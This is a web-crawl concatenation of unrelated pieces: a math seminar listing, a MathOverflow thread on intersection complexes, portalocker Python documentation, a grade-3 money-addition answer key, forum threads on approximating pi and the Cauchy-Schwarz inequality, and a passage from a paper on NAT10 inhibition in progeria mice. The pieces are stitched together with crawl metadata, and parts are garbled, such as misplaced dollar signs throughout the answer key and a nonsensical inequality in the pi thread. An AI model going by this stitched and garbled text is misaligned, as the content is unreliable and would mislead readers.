30 [SNU Number Theory Seminar 2022-05-06] On an upper bound of the average analytic rank of a family of elliptic curves 2022.04.19 484
29 [QSMS Monthly Seminar] Quantization of integrable differential difference equations 2022.04.22 443
28 [2022 KMS Spring Meeting] Related talks 2022.04.28 490
27 [QSMS Geometry Seminar 2022-05-12] Tropical Lagrangian multi-sections and tropical locally free sheaves 2022.05.07 462
26 [QSMS Geometry Seminar 2022-05-17, 19] Symplectic Criteria on Stratified Uniruledness of Affine Varieties and Applications 2022.05.09 478
25 [SNU Number Theory Seminar 2022-05-20] Distribution of Hecke eigenvalues of GL_2 automorphic representations 2022.05.18 403
24 [SNU Number Theory Seminar 2022-06-03] The Coleman conjecture on circular distributions and the equivariant Tamagawa Number conjecture 2022.05.18 524
23 [QSMS Monthly Seminar] Yokonuma Hecke algebras and invariants of framed links 2022.05.27 413 | 2022-11-29 21:11:57 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.6723874807357788, "perplexity": 9132.6207825086}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2022-49/segments/1669446710711.7/warc/CC-MAIN-20221129200438-20221129230438-00291.warc.gz"} |
https://mathoverflow.net/questions/366306/example-of-an-intersection-complex-not-concentrated-in-a-single-degree | # Example of an intersection complex not concentrated in a single degree
I'm having trouble finding references for in-depth examples of perverse sheaves, so answers in the form of such a reference would be most helpful.
I want to construct an example of an intersection complex not concentrated in a single (natural) cohomology degree. Reading BBD, it seems the definition of intermediate extension needs to be made in the derived category, even to discuss intermediate extension of constant sheaves. So I think I can find an example of an open inclusion $$j: U_0 \hookrightarrow X_0$$ such that $$j_{!*} \bar{\mathbb{Q}}_{\ell} [d]$$ is not concentrated in degree $$d$$. I'm looking for a simplest example, but I'm having trouble verifying my work so far. So I would also appreciate if someone could point out any glaring errors in my reasoning (and lack thereof).
The first few attempts I made all seem to have $$R^1 j_! \bar{\mathbb{Q}}_{\ell} = 0$$, and so $$Rj_! \bar{\mathbb{Q}}_{\ell} [d] = {}^p j_!\bar{\mathbb{Q}}_{\ell}[d]$$; so $${}^pj_! \bar{\mathbb{Q}}_{\ell} [d] \hookrightarrow {}^p j_* \bar{\mathbb{Q}}_{\ell} [d]$$; hence $$j_{!*} (\bar{\mathbb{Q}}_{\ell} [d]) = j_!(\bar{\mathbb{Q}}_{\ell}) [d]$$.
In particular, the above seems that to hold whenever $$X_0$$ is smooth and $$j: U_0 \hookrightarrow X_0$$ is the inclusion of dense open. So this is not the right direction.
Looking now at singular varieties, the first two examples that come to mind are $$C_0 = \mathrm{Proj} (\mathbb{F}_q[S,T,U]/(T^2U-S^3))$$ (projective cubic curve with a cusp) and $$C'_0 = \mathrm{Proj} (\mathbb{F}_q[S,T,U]/(T^2U - S^3 - S^2U))$$ (projective cubic curve with a node). Note the nonsingular loci $$C_{ns, 0} \cong \mathbb{A}^1_0$$ and $$C'_{ns, 0} \cong \mathbb{G}_{m, 0}$$. (Assume $$\mathrm{char}(\mathbb{F}_q) > 2$$ for $$C'_0$$.)
But in the case of $$C_0$$, taking $$j: C_{ns,0} \hookrightarrow C_0$$ to be the inclusion of the nonsingular locus, it appears to me that $$Rj_!$$ is exact. In particular, the stalk at a geometric point $${\bar{x}}$$ lying over the node $$x \in C_0$$ $$(R^1 j_! \bar{\mathbb{Q}}_{\ell})_{\bar{x}} = \lim_{\to} H^1 (U, j_! \bar{\mathbb{Q}}_{\ell}) \overset{(a)}{=} \lim_{\to} H^1_c (U \times_{C_{0}} C_{ns, 0}, \bar{\mathbb{Q}}_{\ell}) \overset{(b)}{\cong} H^1_c (\mathbb{A}^1, \bar{\mathbb{Q}}_{\ell}),$$ where the limit is taken over étale $$U \to C_0$$ over $$\bar{x}$$. Then we have $$H^1_c(\mathbb{A}^1, \bar{\mathbb{Q}}_{\ell})$$ vanishes by Poincaré dualtiy as $$H^1 (\mathbb{A}^1, \bar{\mathbb{Q}}_{\ell}) = 0$$. (I think $$(a)$$ holds by definition of $$H^*_c$$, and $$(b)$$ I can't justify.) So, assuming every link in this chain holds, we have $$j_! = j_{!*}$$, and I have not found my example.
But I believe—if my reasoning is at all accurate for $$C_0$$—that I have found an example in $$j': C'_{ns, 0} \hookrightarrow C'_0$$. Repeating the argument above, with $$x' \in C'_0$$ the self-intersection point, $$(R^1 j'_! \bar{\mathbb{Q}}_{\ell})_{\bar{x}'} = \lim_{\to} H^1 (U, j'_! \bar{\mathbb{Q}}_{\ell}) = \lim_{\to} H^1_c (U \times_{C'_0} C'_{ns, 0}, \bar{\mathbb{Q}}_{\ell}) \cong H^1_c (\mathbb{G}_{m}, \bar{\mathbb{Q}}_{\ell}).$$ In this case, we have $$H^1 (\mathbb{G}_{m}, \bar{\mathbb{Q}}_{\ell}) = \bar{\mathbb{Q}}_{\ell}(-1)$$ (this is my understanding after reading Milne's and de Jong's notes on étale cohomology), and so $$(R^1 j'_! \bar{\mathbb{Q}}_{\ell})_{\bar{x}'} = \bar{\mathbb{Q}}_{\ell}(1) \ne 0$$. Since we have determined now that $$j'_!$$ is not exact, we need to calculate $${}^p j'_!$$, $${}^p j'_*$$, and finally calculate $$j'_{!*}$$. Should I keep going? Am I on the right track? Have I made glaring errors? Is there a reason $$(b)$$ should hold? What can I read to speed up my progress on these questions? I've read BBD and Kiehl-Weissauer, and a couple of less formal notes on perverse sheaves, and I've seen precious few examples in any detail. I recognize I haven't read the entire literature, so does anyone know where I should look next?
• Tiny comment that isn't really that helpful: the singularity on $C_0$ is a cusp, not a node. Jul 22, 2020 at 23:41
• The most beautiful exposition of perverse sheaves is (arxiv.org/abs/0712.0349). There are examples there of intersection cohomology complexes supported in multiple degrees. Jul 23, 2020 at 13:37
## 1 Answer
Sorry I haven't read your entire question, which is a bit long. This is really just an extended comment to address the "where I should look next?" part. Suppose $$X$$ has an isolated singularity $$x$$, and $$j:U\to X$$ is the smooth complement. Then the formula on top of page 60 of BBD would simplify to $$j_{!*}\overline{\mathbb{Q}}_\ell[n]= (\tau_{\le n-1}\mathbb{R} j_* \overline{\mathbb{Q}}_\ell)[n]$$ where $$n=\dim X$$ and I'm using middle perversity. Now let $$X$$ be a sufficiently complicated singularity, a cone over an elliptic curve will do. Then this won't be a translate of a sheaf. Look at the stalk at $$x$$, it will have cohomology in 2 degrees.
• Should the index of the truncation be $n-1$ rather than $n$? Jul 23, 2020 at 3:23
• Thanks. Fixed.. Jul 23, 2020 at 11:35 | 2022-10-04 13:55:25 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 47, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.9011315703392029, "perplexity": 200.66529395476974}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": false}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2022-40/segments/1664030337504.21/warc/CC-MAIN-20221004121345-20221004151345-00483.warc.gz"} |
https://portalocker.readthedocs.io/en/latest/portalocker.utils.html | portalocker.utils module¶
class portalocker.utils.Lock(filename, mode='a', timeout=5, check_interval=0.25, fail_when_locked=False, flags=6)[source]
Bases: object
acquire(timeout=None, check_interval=None, fail_when_locked=None)[source]
Acquire the locked filehandle
release()[source]
Releases the currently locked file handle
portalocker.utils.open_atomic(*args, **kwds)[source]
Open a file for atomic writing. Instead of locking this method allows you to write the entire file and move it to the actual location. Note that this makes the assumption that a rename is atomic on your platform which is generally the case but not a guarantee.
http://docs.python.org/library/os.html#os.rename
>>> filename = 'test_file.txt'
>>> if os.path.exists(filename):
... os.remove(filename)
>>> with open_atomic(filename) as fh:
... written = fh.write(b'test')
>>> assert os.path.exists(filename)
>>> os.remove(filename) | 2019-05-26 01:52:01 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 1, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.6070737242698669, "perplexity": 12663.114483673231}, "config": {"markdown_headings": false, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2019-22/segments/1558232258620.81/warc/CC-MAIN-20190526004917-20190526030917-00187.warc.gz"} |
https://mathinfocusanswerkey.com/math-in-focus-grade-3-chapter-10-practice-3-answer-key/ | Practice the problems of Math in Focus Grade 3 Workbook Answer Key Chapter 10 Practice 3 Addition to score better marks in the exam.
Change dollars and cents to cents. Then add.
Example
Question 1.
Explanation:
First we have to change dollars and cents to cents. We know that 1 us dollar is equal to 100 us cents.
Convert $14.70 into 1470¢ and$20.15 into 2015¢.
Add 1470¢ with 2015¢ the sum is 3485¢.
The cents 3485¢ in dollar form as $34.85. Question 2. Answer: Explanation: First we have to change dollars and cents to cents. We know that 1 us dollar is equal to 100 us cents. Convert$65.05 into 6505¢ and $0.95 into 95¢. Add 6505¢ with 95¢ the sum is 6600¢. The cents 6600¢ in dollar form as$66.00.
Question 3.
Explanation:
First we have to change dollars and cents to cents. We know that 1 us dollar is equal to 100 us cents.
Convert $20.70 into 2070¢ and$35.55 into 3555¢.
Add 2070¢ with 3555¢ the sum is 5625¢.
The cents 5625¢ in dollar form as $56.25. Question 4. Answer: Explanation: First we have to change dollars and cents to cents. We know that 1 us dollar is equal to 100 us cents. Convert$3.65 into 365¢ and $32.75 into 3275¢. Add 365¢ with 3275¢ the sum is 3640¢. The cents 3640¢ in dollar form as$36.40.
Question 5.
Explanation:
First we have to change dollars and cents to cents. We know that 1 us dollar is equal to 100 us cents.
Convert $4.65 into 465¢ and$73.25 into 7325¢.
Add 465¢ with 7325¢ the sum is 7790¢.
The cents 7790¢ in dollar form as $77.90. Question 6. Answer: Explanation: First we have to change dollars and cents to cents. We know that 1 us dollar is equal to 100 us cents. Convert$93.20 into 9320¢ and $5.95 into 595¢. Add 9320¢ with 595¢ the sum is 9915¢. The cents 9915¢ in dollar form as$99.15.
Question 7.
Explanation:
First we have to change dollars and cents to cents. We know that 1 us dollar is equal to 100 us cents.
Convert $15.85 into 1585¢ and$24.15 into 2415¢.
Add 1585¢ with 2415¢ the sum is 4000¢.
The cents 4000¢ in dollar form as $40.00. Question 8. Answer: Explanation: First we have to change dollars and cents to cents. We know that 1 us dollar is equal to 100 us cents. Convert$25.25 into 2525¢ and $28.75 into 2875¢. Add 2525¢ with 2875¢ the sum is 5400¢. The cents 5400¢ in dollar form as$54.00.
Write the letter that matches each answer to find out.
Question 9.
How do you thank a person in Spanish?
Look at the picture. Write the prices, and then add.
Example
Question 10.
Explanation:
In the above image we can observe the price of the skateboard is $25.40. Here both are skate boards. Add$25.40 with $25.40 the sum is$50.80.
Question 11.
In the above image we can observe the price of the radio is $80.65 and the price of the teddy bear is$18.75. Add $80.65 with$18.75 the sum is $99.40. Question 12. Answer: Explanation: In the above image we can observe the price of the hairdryer is$39.15 and the price of the toy car is $56.95. Add$39.15 with $56.95 the sum is$96.10.
In the above image we can observe the price of the iron is $71.40 and the price of the teddy bear is$18.75. Add $71.40 with$18.75 the sum is $90.15. Question 14. Answer: Explanation: In the above image we can observe the price of the toy car is$56.95 and the price of the teddy bear is $18.75. Add$56.95 with $18.75 the sum is$75.70. | 2022-10-04 17:11:42 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.42463719844818115, "perplexity": 5772.889294012623}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 20, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2022-40/segments/1664030337516.13/warc/CC-MAIN-20221004152839-20221004182839-00163.warc.gz"} |
https://www.physicsforums.com/threads/approximating-pi.341542/ | # Homework Help: Approximating PI
1. Sep 29, 2009
Approximating PI Show that $$\int$$$$\stackrel{1}{0}$$$$\frac{x^{4}(1-x)^{4}}{1+x^{2}}$$dx=$$\frac{22}{7}$$-$$\Pi$$ Why does this imply that $$\Pi$$$$\triangleleft$$$$\frac{22}{7}$$
I have no clue where to begin with this, I'm at a loss, this is one of the questions for in my university project, first year. Any help is appreciated.
2. Sep 29, 2009
### aPhilosopher
Calculating the integral would probably be a good start.
What's the numerical value of the integral? Is it a big number or a small number? Is it positive or negative?
3. Sep 30, 2009
### Billy Bob
To evaluate $$\int_0^1 \frac{x^{4}(1-x)^{4}}{1+x^{2}}\,dx$$
multiply out the numerator, then use long division, then integrate from 0 to 1.
4. Sep 30, 2009
### HallsofIvy
Once you have done the integral and derived the result shown, if $\pi$ were greater than 22/7, the integral would be negative.
5. Sep 30, 2009
Now if I had to find the maximum of the numerator, how would I go about using it to show that $$\frac{22}{7}$$<$$\frac{\pi}{1024}$$<$$\frac{1}{100}$$ and how does it imply that the approximation $$\frac{22}{7}$$is accurate to 2 decimal places? I know that the $$\frac{1}{100}$$ would be used to imply that its accurate to 2 decimal places but how it does I'm not sure. | 2018-05-26 00:43:37 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 1, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.7712805271148682, "perplexity": 421.4899243249667}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2018-22/segments/1526794867254.84/warc/CC-MAIN-20180525235049-20180526015049-00483.warc.gz"} |
https://math.stackexchange.com/questions/2740661/general-cauchy-schwarz-inequality-proof-using-discriminant | # General Cauchy-Schwarz inequality proof using discriminant
My professor tried to prove the Cauchy-Schwarz inequality in a weird way which I can't understand and I couldn't find an example where it's replicated. I say "tried" because he didn't finish it and gave it out to finish as an exercise.
So for $\forall x,y$ in an inner product space, and $\forall t \in \mathbb{R}$:
$$0\leq\langle x+ty,x+ty\rangle = \langle x,x\rangle+t \langle x,y\rangle+t \langle y,x\rangle+t^2 \langle x,x\rangle = \langle x,x\rangle + 2t\Re{(\langle x,y\rangle})+ t^2\langle y,y\rangle$$
Notice that $t \in \mathbb{R}$ so I left out conjugation, on purpose. The rest of the equations are coming from using the inner product axioms.
There are two cases cases, the first is that: $$y = 0 \implies \langle x,y \rangle = 0$$ in which case, the inequality is trivial.
The seoncd is that $y \neq 0$. At this point, the polynomial $\langle x,x\rangle + 2t\Re{\langle x,y\rangle}+t^2\langle y,y \rangle$ is a quadratic polynomial which is greater than or equal to zero $\forall t \in \mathbb{R}$. By this we can conclude that the discriminant of the polynomial is less than or equal to zero, which means: $$4\Re{(\langle x,y\rangle)}^2-4\langle x,x\rangle^2\langle y,y\rangle^2 \leq 0 \implies 4\Re{\langle x,y\rangle}^2 \leq 4\langle x,x\rangle^2\langle y,y \rangle^2$$
At this point he said the rest is left as an exercise. I tried to finish it using trivial means, writing the real part in trigonometric form, and such, but no success.
What I don't understand is why did we choose $t \in \mathbb{R}$ when we could choose $t\in \mathbb{C}$ and then choose it's value to help us get the desired result. I have no clue how to progress from here and the more I think about the more I believe that it's probably very easy to solve, I just simply don't see it.
For the complex $\left<x,y\right>$, find some complex $z$ with $|z|=1$ such that $z\left<x,y\right>=|\left<x,y\right>|$, then $\text{Re}z\left<x,y\right>$ is real and hence \begin{align*} |\left<x,y\right>|^{2}&=(\text{Re}z\left<x,y\right>)^{2}\\ &=(\text{Re}\left<zx,y\right>)^{2}\\ &\leq\left<zx,zx\right>\left<y,y\right>\\ &=|z|^{2}\left<x,x\right>\left<y,y\right>\\ &=\left<x,x\right>\left<y,y\right> \end{align*}
• Okay, this is awkward but revisiting this proof something is not quite clear. Why is it possible to solve the $z\left<x,y\right>=\text{Re}\left<x,y\right>$ equation for every x and y? What if the dot product in $\mathbb{C}$ is simply, for example $i$? Then we would get that $|\left<x,y\right>| = |\text{Re}\left<x,y\right>|$, but $|\left<x,y\right>| = 1$, since it equals to $i$, but $|\text{Re}\left<x,y\right>| = 0$. Am i missing something? – Levente Kovács May 10 '18 at 18:36 | 2019-05-25 09:04:36 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 1, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.9305452704429626, "perplexity": 143.91470195823896}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2019-22/segments/1558232257939.82/warc/CC-MAIN-20190525084658-20190525110658-00331.warc.gz"} |
https://www.nature.com/articles/s41467-018-03770-3?error=cookies_not_supported&code=c9b4a47d-b729-421b-bf76-ff541ccbd27e | ## Introduction
The nuclear envelope (NE) provides a dynamic boundary between the inner nuclear mass and the cytoplasm, and is critical for normal functioning of the eukaryotic cell. Key factors for NE function as a compartmental border are the nuclear lamins, scaffold proteins that specify nuclear architecture and provide mechanical strength to the nucleus and the cell1. Notably, over the past few years, lamins have emerged as significant players in many other critical cellular functions, including differentiation, intracellular signaling, chromatin organization, transcription, as well as DNA replication and repair2,3. In mammals, the nuclear lamins are categorized in two distinct classes: A-type lamins (Lamin A, Lamin C, Lamin C2, and Lamin AΔ10; all encoded by the LMNA gene) and B-type lamins (Lamin B1 encoded by LMNB1, and Lamin B2 that, together with Lamin B3, are encoded by the LMNB2 gene)4. In accord with their important roles, the loss-of-function mutations in lamin genes result in genetic syndromes with severe presentations called laminopathies (OMIM #150330; #150340; #150341). These include muscular dystrophies (for example, Emery-Dreyfus Muscular Dystrophy), peripheral neuropathies (for example, Charcot-Marie Tooth-Disease), leukodystrophy, lipodystrophy, as well as premature aging (progeria) syndromes, such as Atypical Werner Syndrome (AWS), Restrictive Dermopathy (RD), and Hutchinson Gilford Progeria Syndrome (HGPS)2,5. Of all these syndromes, HGPS is the one with the most striking presentation. After onset, usually within the first year of life, HGPS patients start to display short stature, low body weight (BW), hair loss, lipodystrophy, scleroderma, decreased mobility and osteoporosis, as well as facial features that resemble accelerated aspects of normal ageing6. While the cognitive development is normal, cardiovascular abnormalities—characterized by medial smooth-muscle cell loss and secondary maladaptive vascular remodeling (intimal thickening, disrupted elastin fibers, and deposition of atherosclerotic plaques)—are the main reasons for death, with the median life expectancy at birth for HGPS patients being 14.6 years7,8,9,10.
HGPS arises from a heterozygous G608G point mutation of LMNA exon 11, leading to cryptic mRNA splicing and expression of a shorter, dysfunctional form of Lamin A, called progerin11,12,13. Similar to wild-type Lamin A, progerin undergoes several post-translational modifications, including the addition of a farnesyl group required for its targeting to the nuclear envelope. However, unlike Lamin A, progerin remains permanently farnesylated, causing it to accumulate on the inner nuclear membrane. In HGPS cells, progerin acts as a dominant-negative protein, aggregating the wild-type lamins, disrupting nuclear shape and chromatin organization, and leading to the increased genomic instability and rapid cell senescence14,15. Although farnesyl transferase inhibition (FTI)16,17,18,19,20 is being explored as a therapeutic approach for HGPS and has provided certain health improvements in patients21, there is a clear need for additional therapeutic regimes22.
Recently, we discovered that a small-molecule compound, which we named Remodelin, can ameliorate HGPS cellular phenotypes. Remodelin acts in a progerin- and FTI-independent pathway, by targeting and inhibiting the N-acetyltransferase NAT1023. Here, we assess NAT10 inhibition as a potential therapeutic strategy for HGPS by using an established mouse model (Lmna—G609G allele) that exhibits premature-aging phenotypes similar to those of HGPS patients24. Critical for translating NAT10 inhibition toward human patients, we show that chemical or genetic targeting of NAT10 decreases the genomic instability, and improves age-related phenotypes of both homozygous and heterozygous HGPS mice.
## Results
### Remodelin ameliorates age-dependent weight loss in HGPS mice
To determine the effects of Remodelin on HGPS mouse cells, we derived skin fibroblasts from LmnaG609G/G609G and wild-type (WT) littermates. As observed in human HGPS fibroblasts25,26, LmnaG609G/G609G fibroblasts displayed nuclear shape defects and increased genomic instability, as reflected by a higher level of the DNA double-strand break (DSB) marker gamma H2AX (γH2AX, Ser-139 phosphorylated histone H2AX), in a manner that was abrogated by Remodelin treatment (Fig. 1a, b). These results showed that Remodelin treatment can reverse the HGPS induced genomic instability and nuclear shape defects in mouse cells, and provided us with encouraging preliminary evidence to proceed with in vivo studies.
To assess Remodelin’s suitability for in vivo studies, we initially defined its pharmacokinetic properties in WT mice. Overall, the oral (PO) delivery appeared to be the best route of administration (Fig. 1c; Supplementary Fig. 1a; Supplementary Tables 12), with bioavailability of ~44% (Fig. 1c,) and significant accumulation in heart and skeletal muscle (Fig. 1e). Based on these data, WT and LmnaG609G/G609G mice were treated with a Remodelin dose of 100 mg per kg orally, on a daily schedule from 3 weeks of age onward, until the end-point. This treatment was well-tolerated by both genotypes, with no weight loss (Supplementary Fig. 1b) and with a significant amount of Remodelin being present in the skeletal muscle, liver, and brain of the LmnaG609G/G609G mice (Supplementary Fig. 1c). Furthermore, in line with a previous report that NAT10 promotes melanogenesis27, we found that Remodelin treatment led to hair graying (Supplementary Fig. 1d). As described before, we found that LmnaG609G/G609G mice had dramatically shorter healthspans, compared to WT controls, associated with accelerated body-weight loss (Fig. 1f; Supplementary Table 3) and premature-aging phenotypes, resembling the human syndrome24. Notably, Remodelin led to a 25% increase in Kaplan–Meier area under the curve, based on 20% BW loss, for the treated vs. the vehicle-treated mice (Fig. 1f; Supplementary Table 3). Together, these data established that Remodelin is well-tolerated in vivo and delays the age-dependent weight decline in HGPS mice.
### Remodelin ameliorates cardiac pathology of HGPS mice
HGPS clinical presentation includes the loss of subcutaneous adipose tissue7 and cardiovascular abnormalities, such as adventitial fibrosis and medial smooth-muscle cell loss, with depletion of smooth-muscle actin in the remaining cells8,9,28,29. These cardiovascular features represent major pathologies that contribute to morbidity and lethality in HGPS2. We analyzed all these parameters at the level of the skin, aorta, and coronary heart arteries in Remodelin-treated HGPS mice, as compared to the vehicle-treated controls at their respective end-points. Importantly, Remodelin treatment significantly reduced the loss of subcutaneous adipose tissue that is seen in the HGPS mouse model (Fig. 2a). Moreover, it led to the dramatic amelioration of HGPS cardiac pathologies, including reduction of adventitial fibrosis of the aorta (Fig. 2b), rescue of vascular smooth muscle cell loss (Fig. 2c), and salvage of smooth muscle actin (SMA) loss, both in the aorta and the coronary arteries (Fig. 2d, Supplementary Fig. 2a). By contrast, Remodelin treatment had no significant effect on WT mice at the similar age (Supplementary Fig. 2b). Furthermore, as observed in mouse and human fibroblasts, Remodelin reduced the markers of genome instability in both heart and lung tissues of LmnaG609G/G609G mice (Fig. 2e,f). Together, these data highlighted how Remodelin treatment delayed the onset of cardiovascular pathologies that represent the most debilitating aspect of HGPS.
### Engineering and characterization of a Nat10 mouse model
To validate NAT10 as the relevant pharmacological target mediating the in vivo effects of Remodelin, we engineered a Nat10 knockout mouse model (Supplementary Fig. 3a). Bi-allelic Nat10 inactivation was lethal before embryonic day E14.5 (Fig. 3a), indicating that NAT10 is critical for mouse development. However, heterozygous Nat10+/− mice were born healthy, and were observed to express the Nat10 mRNA and protein products, at levels ~50% of those in WT animals (Fig. 3b,c).
As NAT10 is largely uncharacterized and has not been studied in mice before, we performed a broad phenotypic analysis of Nat10+/− mice (Supplementary Fig. 3b, c, Supplementary Fig. 4 and, Supplementary Data 1). In most regards, Nat10+/− mice were indistinguishable from WT mice (blue color Supplementary Fig. 3b), with the exception of BW, which was consistently lower than that of WT mice, despite similar tail-to-nose lengths associated with changes in the lean and fat mass, triglycerides, and cholesterol levels (Supplementary Fig. 3b, Supplementary Fig. 4a). Additional parameters, including potassium levels and neutrophil numbers, showed evidence of sexual dimorphism (Supplementary Fig. 4b). Moreover, NAT10 reduction triggered gene-expression changes in the heart (Fig. 3d, Supplementary Data 2), with many deregulated genes being connected to cellular pathways associated with longevity, such as responses to starvation or insulin signaling30 (Supplementary Fig. 3c). Other highly enriched pathways deregulated upon NAT10 depletion included regulation of inclusion body assembly and protein refolding. These data showed that, while complete NAT10 knock-out leads to embryonic lethality, NAT10 haploinsufficient mice are born at expected frequencies and are overtly healthy, thereby allowing us to explore the potential impacts of reducing Nat10 gene dosage in the context of a HGPS in vivo genetic model.
### Nat10 haploinsufficiency delays health decline of HGPS mice
To explore the interaction between NAT10 and HGPS, we generated two cohorts of LmnaG609G/G609G mice: one on a WT Nat10 background (Nat10+/+) and the other carrying the Nat10 heterozygous deletion (Nat10+/−). Notably, as for Remodelin treatment, reduced Nat10 gene dosage significantly extended the timeframe of body-weight loss of LmnaG609G/G609G mice by 17% (Fig. 4a; Supplementary Table 3). Moreover, as compared to LmnaG609G/G609G animals, LmnaG609G/G609GNat10+/− mice displayed a significant delay in the appearance of back curvature (Fig. 4b–d) and enhanced fitness, as observed by lower incidence of common LmnaG609G/G609G mouse pathologies, such as penile prolapse and eye keratitis (Supplementary Fig. 5a). Additionally, LmnaG609G/G609GNat10+/− mice were more active and overtly healthier than their age-matched controls (Supplementary Movies 13).
To better understand how HGPS phenotypes were counteracted by NAT10 depletion, we performed selected biochemical analyses on mice at 9 and 12 weeks of age. While NAT10 depletion had no effects on parameters such as fat mass and cholesterol levels of progeria mice, it significantly normalized others, including glycerol and urea levels (Supplementary Data 3). Furthermore, the decrease in heart rate observed in LmnaG609G/G609G mice, compared to WT controls, was significantly circumvented by Nat10 depletion at 9 weeks, but not at 12 weeks (Fig. 4e), suggesting that the onset of heart abnormalities was delayed. Notably, at 12 weeks, p21 expression was increased in the hearts of LmnaG609G/G609G mice but not in LmnaG609G/G609GNat10+/- mice, probably reflecting higher DNA-damage loads (Fig. 4f).
